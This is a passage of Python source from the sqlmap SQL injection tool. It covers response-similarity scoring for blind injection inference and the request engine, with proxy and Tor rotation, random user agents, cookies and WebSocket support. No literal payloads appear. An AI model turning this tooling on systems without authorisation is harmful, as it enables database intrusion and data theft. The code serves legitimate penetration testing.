URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonPage = page threadData.lastComparisonCode = code if page is None and pageLength is None: return None if any((conf.string, conf.notString, conf.regexp)): rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) # String to match in page when the query is True if conf.string: return conf.string in rawResponse # String to match in page when the query is False if conf.notString: if conf.notString in rawResponse: return False else: if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): return None else: return True # Regular expression to match in page when the query is True and/or valid if conf.regexp: return re.search(conf.regexp, rawResponse, re.I | re.M) is not None # HTTP code to match when the query is valid if conf.code: return conf.code == code seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])): return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) if threadData.lastPageTemplate != kb.pageTemplate: threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) threadData.lastPageTemplate = kb.pageTemplate seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) if not pageLength: pageLength = len(page) if kb.nullConnection and pageLength: if not seqMatcher.a: errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" raise SqlmapNoneDataException(errMsg) ratio = 1. * pageLength / len(seqMatcher.a) if ratio > 1.: ratio = 1. / ratio else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): seqMatcher.set_seq1(getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")) if any(_ is None for _ in (page, seqMatcher.a)): return None elif seqMatcher.a and page and seqMatcher.a == page: ratio = 1. elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): if not page or not seqMatcher.a: return float(seqMatcher.a == page) else: ratio = 1. * len(seqMatcher.a) / len(page) if ratio > 1: ratio = 1. / ratio else: seq1, seq2 = None, None if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) seq2 = extractRegexResult(HTML_TITLE_REGEX, page) else: seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None if isinstance(seq1, six.binary_type): seq1 = seq1.replace(REFLECTED_VALUE_MARKER.encode(), b"") elif isinstance(seq1, six.text_type): seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") if isinstance(seq2, six.binary_type): seq2 = seq2.replace(REFLECTED_VALUE_MARKER.encode(), b"") elif isinstance(seq2, six.text_type): seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") if kb.heavilyDynamic: seq1 = seq1.split("\n" if isinstance(seq1, six.text_type) else b"\n") seq2 = seq2.split("\n" if isinstance(seq2, six.text_type) else b"\n") key = None else: key = (hash(seq1), hash(seq2)) try: seqMatcher.set_seq1(seq1) seqMatcher.set_seq2(seq2) except: seqMatcher.set_seq1(repr(seq1)) seqMatcher.set_seq2(repr(seq2)) if key in kb.cache.comparison: ratio = kb.cache.comparison[key] else: try: try: ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() except (TypeError, MemoryError, SystemError): ratio = seqMatcher.ratio() except: ratio = 0.0 ratio = round(ratio, 3) if key: kb.cache.comparison[key] = ratio # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content if kb.matchRatio is None: if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND: kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) if kb.testMode: threadData.lastComparisonRatio = ratio # If it has been requested to return the ratio and not a comparison # response if getRatioValue: return ratio elif ratio > UPPER_RATIO_BOUND: return True elif ratio < LOWER_RATIO_BOUND: return False elif kb.matchRatio is None: return None else: return (ratio - kb.matchRatio) > DIFF_TOLERANCE ================================================ FILE: lib/request/connect.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii import inspect import logging import os import random import re import socket import string import struct import sys import time import traceback try: import websocket from websocket import WebSocketException except ImportError: class WebSocketException(Exception): pass from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds from lib.core.common import checkFile from lib.core.common import checkSameHost from lib.core.common import chunkSplitPostData from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import escapeJsonValue from lib.core.common import evaluateCode from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData from lib.core.common import getHeader from lib.core.common import getHostHeader from lib.core.common import getRequestHeader from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import openFile from lib.core.common import popValue from lib.core.common import parseJson from lib.core.common import pushValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import safeVariableNaming from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import unArrayizeValue from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.common import wasLastResponseDelayed from lib.core.compat import LooseVersion from lib.core.compat import patchHeaders from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.decorators import stackedmethod from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import EVALCODE_ENCODED_PREFIX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IS_WIN from lib.core.settings import JAVASCRIPT_HREF_REGEX from lib.core.settings import LARGE_READ_TRIM_MARKER from lib.core.settings import LIVE_COOKIES_TIMEOUT from lib.core.settings import MIN_HTTPX_VERSION from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import MAX_TIME_RESPONSES from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT from lib.core.settings import YUGE_FACTOR from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse from lib.request.comparison import comparison from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode from thirdparty import six from thirdparty.odict import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib from thirdparty.socks.socks import ProxyError class Connect(object): """ This class defines methods used to perform HTTP requests """ @staticmethod def _getPageProxy(**kwargs): try: if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525 warnMsg = "unable to connect to the target URL" raise SqlmapConnectionException(warnMsg) except (TypeError, UnicodeError): pass try: return Connect.getPage(**kwargs) except RuntimeError: return None, None, None @staticmethod def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked(): warnMsg = "changing proxy" logger.warning(warnMsg) conf.proxy = None threadData.retriesCount = 0 setHTTPHandlers() if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query warnMsg = "most likely web server instance hasn't recovered yet " warnMsg += "from previous timed based payload. If the problem " warnMsg += "persists please wait for a few minutes and rerun " warnMsg += "without flag 'T' in option '--technique' " warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to " warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" singleTimeWarnMessage(warnMsg) elif kb.originalPage is None: if conf.tor: warnMsg = "please make sure that you have " warnMsg += "Tor installed and running so " warnMsg += "you could successfully use " warnMsg += "switch '--tor' " if IS_WIN: warnMsg += "(e.g. 'https://www.torproject.org/download/')" else: warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " warnMsg += "target URL is reachable" items = [] if not conf.randomAgent: items.append("switch '--random-agent'") if not any((conf.proxy, conf.proxyFile, conf.tor)): items.append("proxy switches ('--proxy', '--proxy-file'...)") if items: warnMsg += ". In case that it is, " warnMsg += "you can try to rerun with " warnMsg += " and/or ".join(items) singleTimeWarnMessage(warnMsg) elif conf.threads > 1: warnMsg = "if the problem persists please try to lower " warnMsg += "the number of used threads (option '--threads')" singleTimeWarnMessage(warnMsg) kwargs['retrying'] = True return Connect._getPageProxy(**kwargs) @staticmethod def _connReadProxy(conn): parts = [] if not kb.dnsMode and conn: headers = conn.info() if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): part = conn.read(MAX_CONNECTION_TOTAL_SIZE) if len(part) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False raise SqlmapCompressionException parts.append(part) else: while True: if not conn: break else: try: part = conn.read(MAX_CONNECTION_READ_SIZE) except AssertionError: part = b"" if len(part) == MAX_CONNECTION_READ_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) parts.append(part) else: parts.append(part) break if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) break if conf.yuge: parts = YUGE_FACTOR * parts retVal = b"".join(parts) return retVal @staticmethod def getPage(**kwargs): """ This method connects to the target URL or proxy and returns the target URL page content """ if conf.offline: return None, None, None url = kwargs.get("url", None) or conf.url get = kwargs.get("get", None) post = kwargs.get("post", None) method = kwargs.get("method", None) cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", None) silent = kwargs.get("silent", False) raise404 = kwargs.get("raise404", True) timeout = kwargs.get("timeout", None) or conf.timeout auxHeaders = kwargs.get("auxHeaders", None) response = kwargs.get("response", False) ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts refreshing = kwargs.get("refreshing", False) retrying = kwargs.get("retrying", False) crawling = kwargs.get("crawling", False) checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) finalCode = kwargs.get("finalCode", False) chunked = kwargs.get("chunked", False) or conf.chunked if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) start = time.time() threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter if conf.proxyFreq: if kb.requestCounter % conf.proxyFreq == 0: conf.proxy = None warnMsg = "changing proxy" logger.warning(warnMsg) setHTTPHandlers() if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: if conf.murphyRate: time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) threadData.lastPage = page threadData.lastCode = code return page, headers, code if conf.liveCookies: with kb.locks.liveCookies: if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT) dataToStdout(warnMsg) valid = False for _ in xrange(LIVE_COOKIES_TIMEOUT): if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0: valid = True break else: dataToStdout('.') time.sleep(1) dataToStdout("\n") if not valid: errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies raise SqlmapValueException(errMsg) cookie = openFile(conf.liveCookies).read().strip() cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) if multipart: post = multipart else: if not post: chunked = False elif chunked: post = _urllib.parse.unquote(post) post = chunkSplitPostData(post) webSocket = url.lower().startswith("ws") if not _urllib.parse.urlsplit(url).netloc: url = _urllib.parse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = checkSameHost(url, conf.url) if not retrying: # Reset the number of connection retries threadData.retriesCount = 0 # fix for known issue when urllib2 just skips the other part of provided # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") if "://" not in url: url = "http://%s" % url conn = None page = None code = None status = None _ = _urllib.parse.urlsplit(url) requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None logHeaders = u"" skipLogTraffic = False raise404 = raise404 and not kb.ignoreNotFound # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't # support those by default url = asciifyUrl(url) try: socket.setdefaulttimeout(timeout) if direct_: if '?' in url: url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) elif any((refreshing, crawling, checking)): pass elif target: if conf.forceSSL: url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url) url = re.sub(r"(?i):80/", ":443/", url) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] if not conf.skipUrlEncode: get = urlencode(get, limit=True) if get: if '?' in url: url = "%s%s%s" % (url, DEFAULT_GET_POST_DELIMITER, get) requestMsg += "%s%s" % (DEFAULT_GET_POST_DELIMITER, get) else: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET: post = conf.parameters[PLACE.POST] elif get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str # Prepare HTTP headers headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] if kb.authHeader: headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if not conf.requestFile or not target: if not getHeader(headers, HTTP_HEADER.ACCEPT): headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT: for header in headers: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): del headers[header] break if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE) if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE warnMsg += "Will try to reconstruct" singleTimeWarnMessage(warnMsg) boundary = findMultipartPostBoundary(conf.data) if boundary: headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary) if conf.keepAlive: headers[HTTP_HEADER.CONNECTION] = "keep-alive" if chunked: headers[HTTP_HEADER.TRANSFER_ENCODING] = "chunked" if auxHeaders: headers = forgeHeaders(auxHeaders, headers) if kb.headersFile: content = openFile(kb.headersFile, 'r').read() for line in content.split("\n"): line = getText(line.strip()) if ':' in line: header, value = line.split(':', 1) headers[header] = value if conf.localhost: headers[HTTP_HEADER.HOST] = "localhost" for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity" del headers[key] if isinstance(value, six.string_types): for char in (r"\r", r"\n"): value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip("\r\n")) # Note: Python3 has_header() expects non-bytes value if six.PY2: url = getBytes(url) # Note: Python3 requires text while Python2 has problems when mixing text with binary POST if webSocket: ws = websocket.WebSocket() ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.send(urldecode(post or "")) _page = [] if kb.webSocketRecvCount is None: while True: try: _page.append(ws.recv()) except websocket.WebSocketTimeoutException: kb.webSocketRecvCount = len(_page) break else: for i in xrange(max(1, kb.webSocketRecvCount)): _page.append(ws.recv()) page = "\n".join(_page) ws.close() code = ws.status status = _http_client.responses[code] class _(dict): pass responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()]) requestMsg += "\r\n%s" % requestHeaders if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) requestMsg += "\r\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: post = getBytes(post) if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: if kb.place != HTTPMETHOD.POST: conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) else: post = urldecode(post, convall=True) post = encodeBase64(post) if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): req = MethodRequest(url, post, headers) req.set_method(cmdLineOptions.method or method) elif url is not None: req = _urllib.request.Request(url, post, headers) else: return None, None, None for function in kb.preprocessFunctions: try: function(req) except Exception as ex: errMsg = "error occurred while running preprocess " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) else: post, headers = req.data, req.headers requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) with conf.cj._cookies_lock: cookies = conf.cj._cookies_for_request(req) requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") requestMsg += "\r\n%s" % requestHeaders if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) if not chunked: requestMsg += "\r\n" if conf.cj: for cookie in conf.cj: if cookie.value is None: cookie.value = "" else: for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) if conf.http2: try: import httpx except ImportError: raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) try: proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: raise _http_client.HTTPException(getSafeExString(ex)) else: conn.code = conn.status_code conn.msg = conn.reason_phrase conn.info = lambda c=conn: c.headers conn._read_buffer = conn.read() conn._read_offset = 0 requestMsg = re.sub(" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) if not multipart: threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) def _read(count=None): offset = conn._read_offset if count is None: result = conn._read_buffer[offset:] conn._read_offset = len(conn._read_buffer) else: result = conn._read_buffer[offset: offset + count] conn._read_offset += len(result) return result conn.read = _read else: if not multipart: threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) # Return response object if response: return conn, None, None # Get HTTP response if hasattr(conn, "redurl"): page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.choices.redirect == REDIRECTION.NO code = conn.redcode if not finalCode else code else: page = Connect._connReadProxy(conn) if not skipRead else None if conn: code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url if getattr(conn, "redurl", None) is not None: responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl responseHeaders = patchHeaders(responseHeaders) kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) else: code = None responseHeaders = {} page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None kb.connErrorCounter = 0 if not refreshing: refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip() if extractRegexResult(META_REFRESH_REGEX, page): refresh = extractRegexResult(META_REFRESH_REGEX, page) debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) if not refresh: refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page) if refresh: debugMsg = "got Javascript redirect logic" logger.debug(debugMsg) if refresh: if kb.alwaysRefresh is None: msg = "got a refresh intent " msg += "(redirect like response common to login pages) to '%s'. " % refresh msg += "Do you want to apply it from now on? [Y/n]" kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) if kb.alwaysRefresh: if re.search(r"\Ahttps?://", refresh, re.I): url = refresh else: url = _urllib.parse.urljoin(url, refresh) threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs["refreshing"] = True kwargs["url"] = url kwargs["get"] = None kwargs["post"] = None try: return Connect._getPageProxy(**kwargs) except SqlmapSyntaxException: pass # Explicit closing of connection object if conn and not conf.keepAlive: try: if hasattr(conn, "fp") and hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception as ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warning(warnMsg) except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) logger.critical(warnMsg) threadData.retriesCount = conf.retries return Connect._retryProxy(**kwargs) else: raise except _urllib.error.HTTPError as ex: page = None responseHeaders = None if checking: return None, None, None try: page = ex.read() if not skipRead else None responseHeaders = ex.info() responseHeaders[URI_HTTP_HEADER] = ex.geturl() responseHeaders = patchHeaders(responseHeaders) page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code logger.warning(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: page = getUnicode(page) code = ex.code status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1]) kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders and getattr(responseHeaders, "headers", None): logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) if code in conf.abortCode: errMsg = "aborting due to detected HTTP code '%d'" % code singleTimeLogMessage(errMsg, logging.CRITICAL) raise SystemExit if ex.code not in (conf.ignoreCode or []): if ex.code == _http_client.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d). " % code errMsg += "If this is intended, try to rerun by providing " errMsg += "a valid value for option '--ignore-code'" raise SqlmapConnectionException(errMsg) elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED): warnMsg = "turning off HTTP chunked transfer encoding " warnMsg += "as it seems that the target site doesn't support it (%d)" % code singleTimeWarnMessage(warnMsg) conf.chunked = kwargs["chunked"] = False 